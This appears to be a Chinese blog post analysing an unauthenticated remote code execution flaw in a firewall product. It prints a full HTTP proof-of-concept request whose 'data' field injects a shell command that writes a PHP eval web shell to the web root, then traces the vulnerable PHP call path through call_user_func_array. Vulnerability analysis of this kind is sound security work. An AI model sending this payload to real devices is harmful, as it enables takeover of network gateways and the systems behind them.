网X防火墙前台RCE

robots

 

前言

之前看到有关于这个漏洞的信息,于是想着自己在代码层次做一个详细的分析。

POC

POST /directdata/direct/router HTTP/1.1
Host: *.*.*.*
Connection: close
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/x-www-form-urlencoded
Content-Length: 225


{
    "action": "SSLVPN_Resource",
    "method": "deleteImage",
    "data":[{
      "data":["/var/www/html/b.txt;echo '<?php @eval($_POST[a]);?>'>/var/www/html/test.php"]
    }],
    "type": "rpc",
    "tid": 17
}

在获取源代码之后,我们直接关注路由信息

var\www\html\applications\directdata\controllers\DirectController.php

我们可以看到这个函数中语句并不是很多,调用 Ext_Direct::run( 去处理了 request 过来的请求

因为包含了 php 文件 /applications/Models/Ext/Direct.php 所以 Ext_Direct 来源于此

var\www\html\applications\Models\Ext\Direct.php

我们直接关注其中的 run 方法 发现首先 利用 Ext_Direct_Request::factory 对传入的请求进行了处理

var\www\html\applications\Models\Ext\Direct\Request.php

对传入的请求首先解码,然后判断是否存在对应的参数,之后返回一个新的类

var\www\html\applications\Models\Ext\Direct\Request.php#__construct

此处注意到在创建新的类的时候,前台传入的 data 参数 对应的是 arguments

再返回函数 Ext_Direct::run

将 request 的请求处理之后,转换为数组类型,首先判断传入的 action 值 ,是否存在这个类,然后 new 一个这样的类;再判断这个类中是否存在Method 所对应的方法;最后到达存在漏洞的关键函数call_user_func_array(array($dao, $r->getMethod()), $r->getArguments())

这个函数如果全部 request 的相关参数的表示的话 应该是 call_user_func_array(array(action, Method), data) 就是以 data 为参数值,调用 action 类中的 Method 方法

根据公开的 POC 找到函数位置

var\www\html\applications\Models\SSLVPN\Resource.php

直接从参数 $params 中提取出 data 部分,拼接到 $cmd

存在回调函数的话,就可以任意调用任何一个类当中的任何方法

var\www\html\applications\Models\System\PostSignature.php#getMd5sum

(完)